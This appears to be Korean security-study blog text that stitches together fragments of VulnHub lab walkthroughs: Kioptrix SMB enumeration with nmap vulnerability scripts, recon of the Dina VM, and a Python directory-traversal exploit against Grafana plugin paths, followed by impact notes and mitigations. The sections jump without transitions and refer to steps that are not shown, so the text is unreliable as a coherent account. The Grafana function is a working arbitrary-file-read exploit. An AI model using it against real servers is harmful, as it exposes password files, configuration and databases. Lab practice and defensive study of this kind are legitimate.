111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
32768/tcp open filenet-tms
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.32 seconds
이전 실습에 비해 꽤 열려있는 포트가 있다. 자세한 정보수집을 위해서는 열려있는 포트 번호를 일일히 쳐줘야하는데 그것보다 Nmap의 출력된 파일을 포트번호만 나오게 파싱한다
└─$ nbtscan 192.168.45.124
Doing NBT name scan for addresses from 192.168.45.124
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
192.168.45.124 KIOPTRIX <server> KIOPTRIX 00:00:00:00:00:00
이후 enum4linux 툴을 이용해 smb에 대해서 자세한 정보를 더 파악해본다
└─$ enum4linux -a 192.168.45.124 | tee smbd_res.txt
==================================( OS information on 192.168.45.124 )==================================
[E] Can't get OS info with smbclient
[+] Got OS info for 192.168.45.124 from srvinfo:
KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
platform_id : 500
os version : 4.5
server type : 0x9a03
================================( Share Enumeration on 192.168.45.124 )================================
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba Server)
ADMIN$ IPC IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
KIOPTRIX Samba Server
Workgroup Master
--------- -------
MYGROUP KIOPTRIX
[+] Attempting to map shares on 192.168.45.124
[E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.45.124/IPC$ Mapping: N/A Listing: N/A Writing: N/A
[E] Can't understand response:
tree connect failed: NT_STATUS_WRONG_PASSWORD
//192.168.45.124/ADMIN$ Mapping: N/A Listing: N/A Writing: N/A
뭔가 smb 버전에 대한 정보를 원했는데 원하던 정보는 나오지 않았다. smbclient를 이용해서도 smb에 접근을 시도해본다
└─$ smbclient \\\\192.168.45.124\\MYGROUP
Password for [WORKGROUP\kali]:
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
Anonymous 로그인은 성공햇지만 접속이 실패 하였다. 다시 처음으로 돌아가 Nmap을 이용해 smb에 대한 추가 정보 수집을 진행해본다
└─$ nmap -p 139 --min-rate 1500 -sV --script='smb-vuln-*' -Pn -n --open 192.168.45.124
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 18:10 KST
Nmap scan report for 192.168.45.124
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
|_smb-vuln-ms10-054: false
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds
smb관련 스크립트를 돌리니 대상 호스트에서 운영중인 서버에 대한 취약점 까지 파악하여 알려주었다.
metasploit을 통해서 익스플로잇까지 진행해봤지만 대상 호스트에 접근이 안되는 것으로 보아 다른 취약점을 진단하여 익스플로잇한다.
WEB
대상 호스트에서 실행중인 웹에 대해서 잠재적인 취약점 및 다양한 정보를 스캐닝하기 위해서 nikto를 사용하여 취약점 진단 부터 익스플로잇까지 실시한다.
Nmap 을 통한 정보수집에서 동일한 mod_ssl 버전을 파악했으니, searchsploit 툴을 이용해 익스플로잇 할 수 있는 취약점을 찾는다
시나리오 모의해킹을 공부하고 연습하기 위해서 수많은 ctf, wargame 사이트 중에서 제가 선택한 사이트는 vulnhub 입니다. ctf에서 출제된 문제들을 VM으로 제공하는 사이트인데 찾아보니 제가 공부하기에 좋을 것 같다고 판단해 새로운 시작을 해보려합니다.
실습 환경 : VMware Workstation (실습 VM), VirtualBox(Kali linux)
OS : Kali linux
실습 환경 구축
우선 실습 VM인 Dina: 1.0.1 이미지 파일을 다운받아서 VMware Workstation에서 실행시킨 후 IP를 확인해야한다.
Guest 계정과 touhid 계정은 비밀번호를 입력해야 접속이 가능하고 Guest Session은 바로 접속이 가능해서 로그인 한 후에 터미널에서 ip를 확인해 공격자 PC 인 칼리 리눅스와 동일한 IP 대역대에 있는지 확인한다. 이후 다른 실습을 할때에는 DHCP로 인해서 자동 IP 할당이 되니 이 환경에서 잘된다면 다른 환경에서도 잘되는 것으로 판단.
저는 이전에 쓰던 kali linux를 VirtualBox 에서 구성해서 사용하고 있었으므로 VMware Workstaion 브릿지 네트워크에서 잡히는 네트워크 대역대를 확인 후 Kail Linux에서 해당 네트워크 인터페이스를 추가하여 동일 IP 대역대로 접근 하였습니다.
정보 수집
우선 Nmap 툴을 이용하여 대상 호스트가 잘 동작중인지 확인한다.
└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.243
Host is up (0.00038s latency).
MAC Address: 00:0C:29:10:53:59 (VMware)
Nmap scan report for 192.168.45.219
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.95 seconds
4개의 호스트가 나오고 대상 호스트는 192.168.45.243 IP를 가지고 있는 것으로 확인했고, 포트스캐닝을 진행한다.
└─$ sudo nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open 192.168.45.243 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 17:11 KST
Nmap scan report for 192.168.45.243
Host is up (0.00013s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:10:53:59 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.99 seconds
-p- : 모든 포트에 대해서 스캔해줘
--max-retries 1 : 최대 재시도 횟수는 1
--min-rate 2000 : 포트 스캐닝 속도를 2000으로 설정해줘 (DoS 공격 예방)
-Pn : host discovery 해제
--open : 열려있는 포트만
-oA tcpAll : xml, gnmap, nmap 파일 확장자를 가진 tcpAll 이라는 파일 이름으로 출력해서 저장해줘
등등 자주 사용하는 Nmap의 옵션들이다. Nmap은 기본적으로 CONNECT Scan을 진행한다 하지만 앞에 sudo를 붙여주면 -sS 옵션을 붙여주지 않아도 기본으로 SYN Scan을 진행한다. 하지만 주의해야할 점은 SYN Scan이 CONNECT Scan 보다 빠르게 진행하여 대상 호스트에 DoS 공격을 일으킬 수 있으니 --min-rate 라던지 다양한 옵션을 잘 활용해서 사용해 줘야한다
다시 정보 수집으로 돌아가서 현재 대상호스트에서는 80번 포트 http 서비스가 열려있는 것을 확인했고, Nmap의 기본 스크립트 및 서비스 배너그래빙을 확인하기 위해서 -sV(네트워크 서비스 배너그래빙), -sC(Nmap 기본 스크립트 옵션) 옵션을 추가해서 자세한 정보를 수집한다.
└─$ sudo nmap -p 80 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open 192.168.45.243 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 17:19 KST
Nmap scan report for 192.168.45.243
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Dina
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-robots.txt: 5 disallowed entries
|_/ange1 /angel1 /nothing /tmp /uploads
MAC Address: 00:0C:29:10:53:59 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds
자세한 정보 수집 결과 Apache httpd 2.2.22 버전을 사용중이고 robotx.txt가 있는데 5개의 disallowed 가 있다고 한다.
그 5개는 /ange1 /angel1 /nothing /tmp /uploads 등이 있다.
웹사이트 접속이 가능하니 공격자 PC 에서 접속을 한번 해본다
웹(80)
첫 웹 사이트 랜딩페이지 이다. 뭔가 천사에 대한 내용이,...적혀있다.
페이지 소스에서는 별다른 특이점이 없다.
정보 수집에서 확인했던 /robots.txt에 들어가본다.
Nmap을 통해 정보수집을 하더라도 거짓 양성 반응일 수도 있으니 직접 확인하는 것을 추천한다.
grafana에 있는 플러그인들에 대해서 나열해 놓은 것이다. 이 플로그인들이 공격에서 아주 유용하게 사용될 것이다.
def exploit(args):
s = requests.Session()
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }
while True:
file_to_read = input('Read file > ')
try:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
req = requests.Request(method='GET', url=url, headers=headers)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False, timeout=3)
if 'Plugin file not found' in r.text:
print('[-] File not found\n')
else:
if r.status_code == 200:
print(r.text)
else:
print('[-] Something went wrong.')
return
except requests.exceptions.ConnectTimeout:
print('[-] Request timed out. Please check your host settings.\n')
return
except Exception:
pass
exploit 함수에서는 공격자가 입력하여 파일을 읽을 수 있도록 입력을 받고, 공격자가 입력한 파일 경로를 포함해 URL을 구성한 후에 requests 모듈을 이용해 GET 요청을 전송한다. 디렉터리 순회 공격을 이용해 익스플로잇을 하기 때문에 ../../../../../ 와 같은 상위 디렉터리로 이동하는 것을 확인 할 수 있다.
이후 서버의 응답을 확인하여 파일이 존재하면 내용을 출력하고, 그렇지 않다면 오류메시지를 출력한다.
영향
취약한 Grafana 버전을 사용하는 서버들은 공격자가 서버의 중요한 파일을 읽는데 사용될 수 있다. /etc/passwd나 /etc/grafana/grafana.ini 또는 grafana.db 같은 응용 프로그램 구성 파일을 읽거나 저장되어있는 데이터베이스를 읽는다면 민감한 정보를 유출할 수 있다는 것이다. 이러한 점은 서버의 보안을 심각하게 저해할 수 있다. 또한 파일에 들어있는 내용을 읽어 다른 연계 공격이 가능할 것으로 예상된다
대응 방법
1. 버전 업데이트 : Grafana를 최신버전으로 업데이트 한다. 단 4일만에 패치 버전이 나온 것을 보았을 때 최신버전이 나오면 빠르게 업데이틀 하는 것이 중요하다
2. 웹 애플리케이션 방화벽(WAF) : 디렉터리 순회 공격을 차단할 수 있는 WAF를 사용한다
3. 접근 제어(Access Control) : 서버 파일 시스템에 대한 접근 권한을 최소화하고, 민감한 파일에 대한 접근을 제한한다
4. 입력 검증 : 사용자의 입력에 대해서 철저히 검증해야하고, 디렉터리 순회 같은 패턴을 필터링 할 수 있는 코드를 작성하여 패턴이 감지된다면 차단하여 사전에 미리 방지한다